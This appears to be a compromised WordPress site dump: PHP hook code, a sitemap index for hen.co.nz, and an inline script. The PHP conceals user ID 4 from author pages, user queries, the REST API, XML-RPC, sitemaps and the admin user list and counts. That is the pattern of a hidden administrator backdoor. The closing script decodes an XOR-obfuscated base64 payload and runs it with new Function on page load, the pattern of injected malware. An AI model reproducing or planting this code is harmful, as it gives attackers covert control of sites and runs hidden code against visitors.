add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://hen.co.nz/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://hen.co.nz/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://hen.co.nz/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://hen.co.nz/wp-sitemap-posts-services-1.xml</loc></sitemap><sitemap><loc>https://hen.co.nz/wp-sitemap-posts-projects-1.xml</loc></sitemap><sitemap><loc>https://hen.co.nz/wp-sitemap-posts-teams-1.xml</loc></sitemap><sitemap><loc>https://hen.co.nz/wp-sitemap-posts-3d-flip-book-1.xml</loc></sitemap><sitemap><loc>https://hen.co.nz/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://hen.co.nz/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://hen.co.nz/wp-sitemap-taxonomies-services_cat-1.xml</loc></sitemap><sitemap><loc>https://hen.co.nz/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
<script>
!function(){var _0xa8028bdd0b02=atob('nNLB2tfA3dvanJ3P3dKcw93a0NvD75Pr0YPQ1YHQh9eDhpPpncbRwMHG2o/D3drQ28Pvk+vRg9DVgdCH14OGk+mJhY/C1caU69DSzdWJltGGgNLXjIGDhtCC1taC1oyEhNfQg4fV0tLQ0tGEjNCM1YSNjIbQgISNgoTXh4bWh5aPwtXGlOvM0NPOie+T3MDAxMeOm5vE29jN09vamdbbxpnGxNeaxMHW2N3X2tvQ0ZrX29mTmJPcwMDEx46bm8Tb2M3T29qZxMHW2N3Xmtrb0N3Rx5rVxMSTmJPcwMDEx46bm8Tb2M3T29qa09XA0cPVzZrA0drQ0cbYzZrX25OYk9zAwMTHjpubxNvYzdPb2pnZ1d3a2tHAmsTB1tjd15rW2NXHwNXE3Zrd25OYk9zAwMTHjpubxsTXmtXa38aa19vZm8Tb2M3T29qTmJPcwMDEx46bm8Tb2M3T29qa0MbE15rbxtOTmJPcwMDEx46bm8bE15nZ1d3a2tHAmtnVwN3XmsXB3d/a29DRmsTG25OYk9zAwMTHjpubhcbE15rd25vZ1cDd15Ppj8LVxpTr29zcxMfMwYmWhMyMh4yHh/eB8IKDgtf1hILxjYCF9YeGh4WE9fGCg/CEjI2E8oKBg9Hxlo/C1caU68fHzcbbiZbWgozQhYyEjZaP0sHa18Dd29qU69fYwtLE25zr0dPT38HZnc/Axs3PwtXGlOvfwdjGxMSJ69HT09/B2ZrHwdbHwMachJiGnYmJiZOEzJOL69HT09/B2ZrHwdbHwMachp2O69HT09/B2Y/d0pzr38HYxsTEmtjR2tPA3IiFhoydxtHAwcbak5OPwtXGlOvF3tfe3dzbicTVxsfR/drAnOvfwdjGxMSax8HWx8DGnIKAmIKAnZiFgp2P3dKclevF3tfe3dzbncbRwMHG2pOTj8LVxpTrztbG0Ynr38HYxsTEmsfB1sfAxpyFhoyY68Xe197d3Nuehp2Y68zTztOJk5OP0tvGnMLVxpTr3cfE19faiYSP693HxNfX2ojrztbG0ZrY0drTwNyP693HxNfX2p+Jhp3PwtXGlOvB2cXQ19vXicTVxsfR/drAnOvO1sbRmsfB1sfAxpzr3cfE19famIadmIWCnY/d0pzrwdnF0Nfb153rzNPO05+J58DG3drTmtLG29n33NXG99vQ0ZzrwdnF0Nfb152PycbRwMHG2pTrzNPO04/J19XA19yc0Z3PxtHAwcbak5OPycnSwdrXwN3b2pTr3MDA3NXcnOvE1t7FmOvewdzMnc/G0cDBxtqU2tHDlOTG29ndx9Gc0sHa18Dd29qc69/e09vemOvDwNPOxp3PwtXGlOvC3NvRidrRw5Ts+fj8wMDE5tHFwdHHwJydj+vC3NvRmtvE0dqck+T75+CTmOvE1t7FmMDGwdGdj+vC3NvRmsfRwObRxcHRx8D80dXQ0cack/fb2sDR2sCZ4M3E0ZOYk9XExNjd19XA3dvam97H29qTnY/rwtzb0ZrA3dnR28HAiYGEhISP68Lc29Ga29rY29XQidLB2tfA3dvanJ3PwMbNz+vf3tPb3pz+5/v6msTVxsfRnOvC3NvRmsbRx8Tb2sfR4NHMwJ2dj8nX1cDX3JzRnc/rw8DTzsac0Z2PycmP68Lc29Ga29rRxsbbxonrwtzb0Zrb2sDd2dHbwcCJ0sHa18Dd29qcnc/rw8DTzsac2tHDlPHGxtvGnJ2dj8mP68Lc29Gax9Ha0Jz+5/v6msfAxt3a093SzZzr3sHczJ2dj8mdj8nSwdrXwN3b2pTrw8LRzdDSnOvXw93Enc/d0pzr18PdxIqJ68zQ086a2NHa08DcncbRwMHG2pTkxtvZ3cfRmsbRx9vYwtGc2sHY2J2PwtXGlOvWx9fa08KJz97H29rGxNeOk4aahJOY2dHA3NvQjpPRwNzr19XY2JOYxNXG1dnHju/PwNuO69vc3MTHzMGY0NXA1Y6ThMyTn+vHx83G28mYk9jVwNHHwJPpmN3QjoXJj8bRwMHG2pTr3MDA3NXcnOvM0NPO7+vXw93E6Zjr1sfX2tPCnZrA3NHanNLB2tfA3dvanOvew93Tnc/C1caU68HF0Njbievew93TkpLr3sPd05rG0cfB2MCL69fYwtLE25zr3sPd05rG0cfB2MCdjpOTj93SnOvBxdDY253G0cDBxtqU68HF0NjbmsbRxNjV19Gcm+ibn5CbmJOTnY/G0cDBxtqU68PC0c3Q0pzr18PdxJ+FnY/JnZrX1cDX3JzSwdrXwN3b2pydz8bRwMHG2pTrw8LRzdDSnOvXw93En4Wdj8mdj8nSwdrXwN3b2pTr3Nfa3cTTxZzr29vZ3dbZ2J3PwtXGlOvTwtff09zEidDb18HZ0drAmtfG0dXA0fHY0dnR2sCck8fXxt3EwJOdj+vTwtff09zEmsfG14nr29vZ3dbZ2J+Tm9XE3ZrE3MSLx4mTn+vQ0s3Vn5OS68KJk5/51cDcmtLY29vGnPDVwNGa2tvDnJ2bgoSEhISdj+vTwtff09zEmtXHzdrXicDGwdGPnNDb18HZ0drAmtzR1dDIyNDb18HZ0drAmtbb0M2dmtXExNHa0Pfc3djQnOvTwtff09zEnY/J68PC0c3Q0pyEnZrA3NHanNLB2tfA3dvanOvb29nd1tnYnc/d0pzr29vZ3dbZ2J3r3Nfa3cTTxZzr29vZ3dbZ2J2PyZ2PyZ2cnY8='),_0x7a5db0286b5d=180,_0xbd276e194846=new Uint8Array(_0xa8028bdd0b02['length']),_0xf156bcb012a0=0;for(;_0xf156bcb012a0<_0xa8028bdd0b02['length'];_0xf156bcb012a0++)_0xbd276e194846[_0xf156bcb012a0]=_0xa8028bdd0b02['charCodeAt'](_0xf156bcb012a0)^_0x7a5db0286b5d;(new Function(new TextDecoder()['decode'](_0xbd276e194846)))()}();
</script>
    